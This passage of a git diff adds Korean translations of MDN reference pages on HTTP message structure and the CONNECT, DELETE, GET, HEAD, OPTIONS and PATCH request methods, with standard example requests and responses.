+ <li>Entity 헤더: {{HTTPHeader("Content-Length")}}와 같은 헤더는 요청 본문에 적용됩니다. 당연히 요청 내에 본문이 없는 경우 entity 헤더는 전송되지 않습니다.</li>
+</ul>
+
+<p><img alt="Example of headers in an HTTP request" src="https://mdn.mozillademos.org/files/13821/HTTP_Request_Headers2.png" style="height: 280px; width: 872px;"></p>
+
+<h3 id="본문">본문</h3>
+
+<p>본문은 요청의 마지막 부분에 들어갑니다. 모든 요청에 본문이 들어가지는 않습니다. <code>GET</code>, <code>HEAD</code>, <code>DELETE</code> , <code>OPTIONS</code>처럼 리소스를 가져오는 요청은 보통 본문이 필요가 없습니다. 일부 요청은 업데이트를 하기 위해 서버에 데이터를 전송합니다. 보통 (HTML 폼 데이터를 포함하는) <code>POST</code> 요청일 경우에 그렇습니다.</p>
+
+<p>넓게 보면 본문은 두가지 종류로 나뉩니다.</p>
+
+<ul>
+ <li>단일-리소스 본문(single-resource bodies): 헤더 두 개({{HTTPHeader("Content-Type")}}와 {{HTTPHeader("Content-Length")}})로 정의된 단일 파일로 구성됩니다.</li>
+ <li>다중-리소스 본문(multiple-resource bodies): 멀티파트 본문으로 구성되는 <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#multipartform-data">다중 리소스 본문</a>에서는 파트마다 다른 정보를 지니게 됩니다. 보통 <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML 폼</a>과 관련이 있습니다.</li>
+</ul>
+
+<h2 id="HTTP_응답">HTTP 응답</h2>
+
+<h3 id="상태_줄">상태 줄</h3>
+
+<p>HTTP 응답의 시작 줄은 <em>상태 줄(status line)</em>이라고 불리며, 다음과 같은 정보를 가지고 있습니다.</p>
+
+<ol>
+ <li><em>프로토콜 버전: </em>보통 <code>HTTP/1.1</code>입니다.</li>
+ <li>상태 코드: 요청의 성공 여부를 나타냅니다. {{HTTPStatus("200")}}, {{HTTPStatus("404")}} 혹은 {{HTTPStatus("302")}}입니다.</li>
+ <li>상태 텍스트: 짧고 간결하게 상태 코드에 대한 설명을 글로 나타내어 사람들이 HTTP 메시지를 이해할 때 도움이 됩니다.</li>
+</ol>
+
+<p>상태 줄은 일반적으로  <code>HTTP/1.1 404 Not Found.</code> 같이 생겼습니다.</p>
+
+<h3 id="헤더_2">헤더</h3>
+
+<p>응답에 들어가는 <a href="/en-US/docs/Web/HTTP/Headers">HTTP 헤더</a>는 다른 헤더와 동일한 구조를 따릅니다. 대소문자를 구분하지 않는 문자열 다음에 콜론(<code>':'</code>)이 오며, 그 뒤에 오는 값은 구조가 헤더에 따라 달라집니다. 헤더는 값을 포함해 전체를 한 줄로 표시합니다.</p>
+
+<p>다양한 종류의 응답 헤더가 있는데, 이들은 다음과 같이 몇몇 그룹으로 나눌 수 있습니다.</p>
+
+<ul>
+ <li>General 헤더: {{HTTPHeader("Via")}}와 같은 <em>헤더는</em> 메시지 전체에 적용됩니다.</li>
+ <li>Response 헤더: {{HTTPHeader("Vary")}}와 {{HTTPHeader("Accept-Ranges")}}와 같은 헤더는 상태 줄에 미처 들어가지 못했던 서버에 대한 추가 정보를 제공합니다.</li>
+ <li>Entity 헤더: {{HTTPHeader("Content-Length")}}와 같은 헤더는 요청 본문에 적용됩니다. 당연히 요청 내에 본문이 없는 경우 entity 헤더는 전송되지 않습니다.</li>
+</ul>
+
+<p><img alt="Example of headers in an HTTP response" src="https://mdn.mozillademos.org/files/13823/HTTP_Response_Headers2.png" style="height: 344px; width: 805px;"></p>
+
+<h3 id="본문_2">본문</h3>
+
+<p>본문은 응답의 마지막 부분에 들어갑니다. 모든 응답에 본문이 들어가지는 않습니다. {{HTTPStatus("201")}}, {{HTTPStatus("204")}}과 같은 상태 코드를 가진 응답에는 보통 본문이 없습니다.</p>
+
+<p>넓게 보면 본문은 세가지 종류로 나뉩니다.</p>
+
+<ul>
+ <li>이미 길이가 알려진 단일 파일로 구성된 단일-리소스 본문: 헤더 두개({{HTTPHeader("Content-Type")}}와 {{HTTPHeader("Content-Length")}})로 정의 합니다.</li>
+ <li>길이를 모르는 단일 파일로 구성된 단일-리소스 본문: {{HTTPHeader("Transfer-Encoding")}}가 <code>chunked</code>로 설정되어 있으며, 파일은 청크로 나뉘어 인코딩 되어 있습니다.</li>
+ <li>서로 다른 정보를 담고 있는 멀티파트로 이루어진 <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#multipartform-data">다중 리소스 본문</a>: 이 경우는 상대적으로 위의 두 경우에 비해 보기 힘듭니다.</li>
+</ul>
+
+<h2 id="HTTP2_프레임">HTTP/2 프레임</h2>
+
+<p>HTTP/1.x 메시지는 성능상의 결함을 몇가지 내포하고 있습니다.</p>
+
+<ul>
+ <li>본문은 압축이 되지만 헤더는 압축이 되지 않습니다.</li>
+ <li>연속된 메시지들은 비슷한 헤더 구조를 띄기 마련인데, 그럼에도 불구하고 메시지마다 반복되어 전송되고 있습니다.</li>
+ <li>다중전송(multiplexing)이 불가능합니다. 서버 하나에 연결을 여러개 열어야 합니다. 적극적인(warm) TCP 연결이 소극적인(cold) TCP 연결보다 효율적인데 말이죠.</li>
+</ul>
+
+<p>HTTP/2에서는 추가적인 단계가 도입되었습니다. HTTP/1.x 메시지를 프레임으로 나누어 스트림에 끼워 넣는 것입니다. 데이터와 헤더 프레임이 분리 되었기 때문에 헤더를 압축할 수 있습니다. 스트림 여러개를 하나로 묶을 수 있어서(이러한 과정을 멀티플렉싱이라 합니다), 기저에서 수행되는 TCP 연결이 좀 더 효율적이게 이루어집니다.</p>
+
+<p><img alt="HTTP/2 modify the HTTP message to divide them in frames (part of a single stream), allowing for more optimization." src="https://mdn.mozillademos.org/files/13819/Binary_framing2.png" style="height: 735px; width: 810px;"></p>
+
+<p>이제 웹 개발자 입장에서는 HTTP 프레임을 매우 쉽게 살펴볼 수 있게 되었습니다. HTTP 프레임은 HTTP/2에서 추가된 단계이며, HTTP/1.1 메시지와 그 기저를 이루는 전송 프로토콜 사이를 메워주는 존재입니다. 그렇다고 해서 HTTP 프레임 때문에 개발자들이 API를 바꿔야 할 필요는 없습니다. 브라우저와 서버 둘 다 모두 HTTP 프레임을 받아 들일 수 있다면, HTTP/2가 활성화 된 후에 사용될 것입니다.</p>
+
+<h2 id="결론">결론</h2>
+
+<p>HTTP 메시지는 HTTP에서 핵심적인 역할을 합니다. 메시지 구조는 단순하게 이루어져 있으며, 확장성도 매우 좋습니다. HTTP/2 프레이밍 메커니즘 덕분에 HTTP/1.x 구문과 기저가 되는 전송 프로토콜 사이에 새로운 중간 단계가 추가 되었습니다. 프로토콜을 자체적으로 수정하지 않고 이미 입증된 메커니즘을 바탕으로 이뤄낸 것입니다.</p>
diff --git a/files/ko/web/http/methods/connect/index.html b/files/ko/web/http/methods/connect/index.html
new file mode 100644
index 0000000000..bf26d03d13
--- /dev/null
+++ b/files/ko/web/http/methods/connect/index.html
@@ -0,0 +1,86 @@
+---
+title: CONNECT
+slug: Web/HTTP/Methods/CONNECT
+tags:
+ - HTTP
+ - 요청 메소드
+ - 참고사항
+translation_of: Web/HTTP/Methods/CONNECT
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>HTTP <code>CONNECT</code></strong> 메소드는 요청한 리소스에 대해 양방향 연결을 시작하는 메소드입니다. 이는 터널을 열기 위해서 사용될 수 있습니다.</p>
+
+<p>예를 들어, <code>CONNECT</code> 메소드는 {{Glossary("SSL")}} ({{Glossary("HTTPS")}})를 사용하는 웹사이트에 접속하는데 사용될 수 있습니다. 클라이언트는 원하는 목적지와의 TCP 연결을 HTTP 프록시 서버에 요청합니다. 그러면 서버는 클라이언트를 대신하여 연결의 생성을 진행합니다. 한번 서버에 의해 연결이 수립되면, 프록시 서버는 클라이언트에 오고가는 TCP 스트림을 계속해서 프록시합니다.</p>
+
+<p><code>CONNECT</code>는 홉바이홉 메소드입니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Request has body</th>
+ <td>No</td>
+ </tr>
+ <tr>
+ <th scope="row">Successful response has body</th>
+ <td>Yes</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Safe")}}</th>
+ <td>No</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Idempotent")}}</th>
+ <td>No</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Cacheable")}}</th>
+ <td>No</td>
+ </tr>
+ <tr>
+ <th scope="row">Allowed in <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML forms</a></th>
+ <td>No</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">CONNECT www.example.com:443 HTTP/1.1
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>일부 프록시 서버는 터널을 생성하기 위해 인증을 요구할 수 있습니다. {{HTTPHeader("Proxy-Authorization")}} 헤더를 참고하세요.</p>
+
+<pre class="line-numbers language-html">CONNECT server.example.com:80 HTTP/1.1
+Host: server.example.com:80
+Proxy-Authorization: basic aGVsbG86d29ybGQ=</pre>
+
+<h2 id="기술_사양">기술 사양</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "CONNECT", "4.3.6")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.CONNECT")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{Glossary("Proxy server")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+</ul>
diff --git a/files/ko/web/http/methods/delete/index.html b/files/ko/web/http/methods/delete/index.html
new file mode 100644
index 0000000000..7d27889eb9
--- /dev/null
+++ b/files/ko/web/http/methods/delete/index.html
@@ -0,0 +1,98 @@
+---
+title: DELETE
+slug: Web/HTTP/Methods/DELETE
+tags:
+ - HTTP
+ - Reference
+ - Request method
+translation_of: Web/HTTP/Methods/DELETE
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>HTTP <code>DELETE</code> 메서드</strong>는 지정한 리소스를 삭제합니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">요청에 본문 존재</th>
+ <td>May</td>
+ </tr>
+ <tr>
+ <th scope="row">성공 응답에 본문 존재</th>
+ <td>May</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Safe", "안전함")}}</th>
+ <td>No</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Idempotent", "멱등성")}}</th>
+ <td>Yes</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Cacheable", "캐시 가능")}}</th>
+ <td>No</td>
+ </tr>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Learn/HTML/Forms">HTML 양식</a>에서 사용 가능</th>
+ <td>No</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">DELETE /file.html HTTP/1.1
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="요청">요청</h3>
+
+<pre class="notranslate">DELETE /file.html HTTP/1.1</pre>
+
+<h3 id="응답">응답</h3>
+
+<p><code>DELETE</code> 메서드를 성공적으로 적용한 후에 사용할 수 있는 응답 상태 코드는 다음과 같이 몇 가지가 있습니다.</p>
+
+<ul>
+ <li>아마도 명령을 성공적으로 수행할 것 같으나 아직은 실행하지 않은 경우 {{HTTPStatus("202")}} (<code>Accepted</code>) 상태 코드.</li>
+ <li>명령을 수행했고 더 이상 제공할 정보가 없는 경우 {{HTTPStatus("204")}} (<code>No Content</code>) 상태 코드.</li>
+ <li>명령을 수행했고 응답 메시지가 이후의 상태를 설명하는 경우 {{HTTPStatus("200")}} (<code>OK</code>) 상태 코드.</li>
+</ul>
+
+<pre class="notranslate">HTTP/1.1 200 OK
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+
+&lt;html&gt;
+ &lt;body&gt;
+ &lt;h1&gt;File deleted.&lt;/h1&gt;
+ &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "DELETE", "4.3.5")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">이 페이지의 호환성표는 구조화된 데이터로부터 생성되었습니다. 만약 그 데이터에 기여하고 싶으시면 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 를 참고하시고 요청을 보내주시기 바랍니다.</p>
+
+<p>{{Compat("http.methods.DELETE")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>HTTP 상태: {{HTTPStatus("200")}}, {{HTTPStatus("202")}}, {{HTTPStatus("204")}}</li>
+</ul>
diff --git a/files/ko/web/http/methods/get/index.html b/files/ko/web/http/methods/get/index.html
new file mode 100644
index 0000000000..0efa428125
--- /dev/null
+++ b/files/ko/web/http/methods/get/index.html
@@ -0,0 +1,75 @@
+---
+title: GET
+slug: Web/HTTP/Methods/GET
+tags:
+ - HTTP
+ - Reference
+ - Request method
+translation_of: Web/HTTP/Methods/GET
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary"><strong>HTTP <code>GET</code> 메서드</strong>는 특정한 리소스를 가져오도록 요청합니다.</span> <code>GET</code> 요청은 데이터를 가져올 때만 사용해야 합니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">요청에 본문 존재</th>
+ <td>아니오</td>
+ </tr>
+ <tr>
+ <th scope="row">성공 응답에 본문 존재</th>
+ <td>예</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Safe", "안전함")}}</th>
+ <td>예</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Idempotent", "멱등성")}}</th>
+ <td>예</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Cacheable", "캐시 가능")}}</th>
+ <td>예</td>
+ </tr>
+ <tr>
+ <th scope="row">HTML 양식에서 사용 가능</th>
+ <td>예</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">GET /index.html
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "GET", "4.3.1")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.GET")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/HTTP/Headers">HTTP 헤더</a></li>
+ <li>{{HTTPHeader("Range")}}</li>
+ <li>{{httpmethod("POST")}}</li>
+</ul>
diff --git a/files/ko/web/http/methods/head/index.html b/files/ko/web/http/methods/head/index.html
new file mode 100644
index 0000000000..b5222ce97a
--- /dev/null
+++ b/files/ko/web/http/methods/head/index.html
@@ -0,0 +1,77 @@
+---
+title: HEAD
+slug: Web/HTTP/Methods/HEAD
+tags:
+ - HTTP
+ - HTTP method
+ - Reference
+translation_of: Web/HTTP/Methods/HEAD
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>HTTP <code>HEAD</code> 메서드</strong>는 특정 리소스를 {{httpmethod("GET")}} 메서드로 요청했을 때 돌아올 헤더를 요청합니다.</p>
+
+<p><code>HEAD</code> 메서드에 대한 응답은 본문을 가져선 안되며, 본문이 존재하더라도 무시해야 합니다. 그러나, {{httpheader("Content-Length")}}처럼 본문 콘텐츠를 설명하는 {{glossary("entity header", "개체 헤더")}}는 포함할 수 있습니다. 이 때, 개체 헤더는 비어있어야 하는 <code>HEAD</code>의 본문과는 관련이 없고, 대신 {{httpmethod("GET")}} 메서드로 동일한 리소스를 요청했을 때의 본문을 설명합니다.</p>
+
+<p><code>HEAD</code> 요청의 응답이 캐시했던 이전 {{httpmethod("GET")}} 메서드의 응답을 유효하지 않다고 표시할 경우, 새로운 <code>GET</code> 요청을 생성하지 않더라도 캐시를 무효화합니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">요청에 본문 존재</th>
+ <td>아니오</td>
+ </tr>
+ <tr>
+ <th scope="row">성공 응답에 본문 존재</th>
+ <td>아니오</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Safe", "안전함")}}</th>
+ <td>예</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Idempotent", "멱등성")}}</th>
+ <td>예</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Cacheable", "캐시 가능")}}</th>
+ <td>예</td>
+ </tr>
+ <tr>
+ <th scope="row">HTML 양식에서 사용 가능</th>
+ <td>아니오</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">HEAD /index.html
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "HEAD", "4.3.2")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.HEAD")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTTPMethod("GET")}}</li>
+</ul>
diff --git a/files/ko/web/http/methods/index.html b/files/ko/web/http/methods/index.html
new file mode 100644
index 0000000000..5c3495fd85
--- /dev/null
+++ b/files/ko/web/http/methods/index.html
@@ -0,0 +1,73 @@
+---
+title: HTTP 요청 메서드
+slug: Web/HTTP/Methods
+tags:
+ - HTTP
+ - Methods
+ - Reference
+translation_of: Web/HTTP/Methods
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP는 <strong>요청 메서드</strong>를 정의하여, 주어진 리소스에 수행하길 원하는 행동을 나타냅니다. 간혹 요청 메서드를 "HTTP 동사"라고 부르기도 합니다. 각각의 메서드는 서로 다른 의미를 구현하지만, 일부 기능은 메서드 집합 간에 서로 공유하기도 합니다. 이를테면 응답 메서드는 {{glossary("safe", "안전")}}하거나, {{glossary("cacheable", "캐시 가능")}}하거나, {{glossary("idempotent", "멱등성")}}을 가질 수 있습니다.</p>
+
+<dl>
+ <dt>{{httpmethod("GET")}}</dt>
+ <dd><code>GET</code> 메서드는 특정 리소스의 표시를 요청합니다. <code>GET</code>을 사용하는 요청은 오직 데이터를 받기만 합니다.</dd>
+ <dt>{{httpmethod("HEAD")}}</dt>
+ <dd><code>HEAD</code> 메서드는 <code>GET</code> 메서드의 요청과 동일한 응답을 요구하지만, 응답 본문을 포함하지 않습니다.</dd>
+ <dt>{{httpmethod("POST")}}</dt>
+ <dd><code>POST</code> 메서드는 특정 리소스에 엔티티를 제출할 때 쓰입니다. 이는 종종 서버의 상태의 변화나 부작용을 일으킵니다.</dd>
+ <dt>{{httpmethod("PUT")}}</dt>
+ <dd>
+ <p><code>PUT</code> 메서드는 목적 리소스 모든 현재 표시를 요청 payload로 바꿉니다.</p>
+ </dd>
+ <dt>{{httpmethod("DELETE")}}</dt>
+ <dd><code>DELETE</code> 메서드는 특정 리소스를 삭제합니다.</dd>
+ <dt>{{httpmethod("CONNECT")}}</dt>
+ <dd>
+ <p><code>CONNECT</code> 메서드는 목적 리소스로 식별되는 서버로의 터널을 맺습니다.</p>
+ </dd>
+ <dt>{{httpmethod("OPTIONS")}}</dt>
+ <dd><code>OPTIONS</code> 메서드는 목적 리소스의 통신을 설정하는 데 쓰입니다.</dd>
+ <dt>{{httpmethod("TRACE")}}</dt>
+ <dd>
+ <p><code>TRACE</code> 메서드는 목적 리소스의 경로를 따라 메시지 loop-back 테스트를 합니다.</p>
+ </dd>
+ <dt>{{httpmethod("PATCH")}}</dt>
+ <dd><code>PATCH</code> 메서드는 리소스의 부분만을 수정하는 데 쓰입니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">제목</th>
+ <th scope="col">해설</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "Request methods", "4")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ <td>Specifies GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE.</td>
+ </tr>
+ <tr>
+ <td>{{RFC("5789", "Patch method", "2")}}</td>
+ <td>PATCH Method for HTTP</td>
+ <td>Specifies PATCH.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">이 페이지의 호환성 표는 구조화 된 데이터로 생성 되었습니다. 호환성 데이터에 기여하려면, 이 파일에 Pull-Request 해주세요: <a href="https://github.com/mdn/browser-compat-data/blob/master/http/methods.json">https://github.com/mdn/browser-compat-data/blob/master/http/methods.json</a>.</p>
+
+<p>{{Compat("http/methods")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/HTTP/Headers">HTTP 헤더</a></li>
+</ul>
diff --git a/files/ko/web/http/methods/options/index.html b/files/ko/web/http/methods/options/index.html
new file mode 100644
index 0000000000..58bf6868e4
--- /dev/null
+++ b/files/ko/web/http/methods/options/index.html
@@ -0,0 +1,131 @@
+---
+title: OPTIONS
+slug: Web/HTTP/Methods/OPTIONS
+tags:
+ - HTTP
+ - 요청 메소드
+translation_of: Web/HTTP/Methods/OPTIONS
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>HTTP <code>OPTIONS</code> method</strong> 는 목표 리소스와의 통신 옵션을 설명하기 위해 사용됩니다. 클라이언트는 OPTIONS 메소드의 URL을 특정지을 수 있으며, aterisk(*) 를 통해 서버 전체를 선택할 수 있습니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Request has body</th>
+ <td>No</td>
+ </tr>
+ <tr>
+ <th scope="row">Successful response has body</th>
+ <td>Yes</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Safe")}}</th>
+ <td>Yes</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Idempotent")}}</th>
+ <td>Yes</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Cacheable")}}</th>
+ <td>No</td>
+ </tr>
+ <tr>
+ <th scope="row">Allowed in HTML forms</th>
+ <td>No</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">OPTIONS /index.html HTTP/1.1
+OPTIONS * HTTP/1.1
+</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Identifying_allowed_request_methods">Identifying allowed request methods</h3>
+
+<p>curl을 이용하여 OPTIONS 요청을 서버에 보냄으로써 서버에서 지원하는 method를 확인할 수 있다.</p>
+
+<pre>curl -X OPTIONS http://example.org -i</pre>
+
+<p>요청을 보내면, 응답에 {{HTTPHeader("Allow")}}헤더가 포함되어서 오는데, 이를 통해 허용되는 메소드를 확인할 수 있다.</p>
+
+<pre>HTTP/1.1 200 OK
+Allow: OPTIONS, GET, HEAD, POST
+Cache-Control: max-age=604800
+Date: Thu, 13 Oct 2016 11:45:00 GMT
+Expires: Thu, 20 Oct 2016 11:45:00 GMT
+Server: EOS (lax004/2813)
+x-ec-custom-error: 1
+Content-Length: 0
+</pre>
+
+<h3 id="Preflighted_requests_in_CORS">Preflighted requests in CORS</h3>
+
+
+
+<p>In <a href="/en-US/docs/Web/HTTP/Access_control_CORS">CORS</a> 에서, <code>OPTIONS</code> 메소드를 통해 프리플라이트 요청 (preflight, 사전 전달), 즉 사전 요청을 보내 서버가 해당 parameters를 포함한 요청을 보내도 되는지에 대한 응답을 줄 수 있게 한다. </p>
+
+<p>{{HTTPHeader("Access-Control-Request-Method")}} 헤더는 프리플라이트 요청의 일부분으로 서버에게 실제 요청이 전달 될 때  <code>POST</code> 요청 메소드로 전달될 것 임을 명시한다. </p>
+
+<p>{{HTTPHeader("Access-Control-Request-Headers")}} 헤더는 서버에게 실제 요청이 전달될 때 <code>X-PINGOTHER</code> 와 <code>Content-Type</code> custom headers 와 함께 전달될 것 임을 명시한다. 서버는 그럼 이러한 요구사항들에 맞춰 요청을 수락할 것인지 정할 수 있다.  </p>
+
+<pre>OPTIONS /resources/post-here/ HTTP/1.1
+Host: bar.other
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Origin: http://foo.example
+Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER, Content-Type</pre>
+
+<p>서버는 {{HTTPHeader("Access-Control-Allow-Methods")}}로 응답하고, <code>POST</code>, <code>GET</code>, 그리고 <code>OPTIONS</code> 메소드를 통해서 해당하는 자원을 문의 (query) 할 수 알려준다. 이 헤더는 {{HTTPHeader("Allow")}} 응답 헤더와 비슷하지만 반드시 CORS 에 한해서만 사용된다. </p>
+
+<pre>HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:39 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Methods: POST, GET, OPTIONS
+Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
+Access-Control-Max-Age: 86400
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 0
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "OPTIONS", "4.3.7")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.OPTIONS")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Allow")}} header</li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">CORS</a></li>
+</ul>
diff --git a/files/ko/web/http/methods/patch/index.html b/files/ko/web/http/methods/patch/index.html
new file mode 100644
index 0000000000..a67f4a7c87
--- /dev/null
+++ b/files/ko/web/http/methods/patch/index.html
@@ -0,0 +1,95 @@
+---
+title: PATCH
+slug: Web/HTTP/Methods/PATCH
+translation_of: Web/HTTP/Methods/PATCH
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>HTTP PATCH</strong> 메소드는 리소스의 부분적인 수정을 할 때에 사용됩니다.</p>
+
+<p>HTTP {{HTTPMethod("PUT")}} 메소드는 문서 전체의 완전한 교체만을 허용합니다. 반면 <code>PATCH</code> 메소드는 <code>PUT</code> 메소드와 달리 멱등성을 가지지 않는데, 이는 동일한 patch 요청이 다른 결과를 야기할 수도 있음을 뜻합니다. 하지만 PATCH를 PUT과 같은 방식으로 사용함으로써 멱등성을 가지게 할 수도 있습니다.</p>
+
+<p><code>PATCH</code> (혹은 <code>PUT</code>)는 다른 리소스에게 부수효과(side-effects)를 일으킬 가능성이 있습니다.</p>
+
+<p>서버가 <code>PATCH</code>를 지원하는지 알 수 있게끔 하기 위해, 서버는 {{HTTPHeader("Allow")}} 리스트 혹은 {{HTTPHeader("Access-Control-Allow-Methods")}} (for CORS) 응답 헤더를 통해 이를 명시할 수 있습니다.</p>
+
+<p>PATCH가 허용되는지 확인할 수 있는 또 다른 (암묵적인)지표로 {{HTTPHeader("Accept-Patch")}}의 존재 유무를 들 수 있는데, 이를 통해 patch 문서 양식이 서버에 받아 들여졌음을 알 수 있습니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Request has body</th>
+ <td>Yes</td>
+ </tr>
+ <tr>
+ <th scope="row">Successful response has body</th>
+ <td>Yes</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Safe")}}</th>
+ <td>No</td>
+ </tr>
+ <tr>
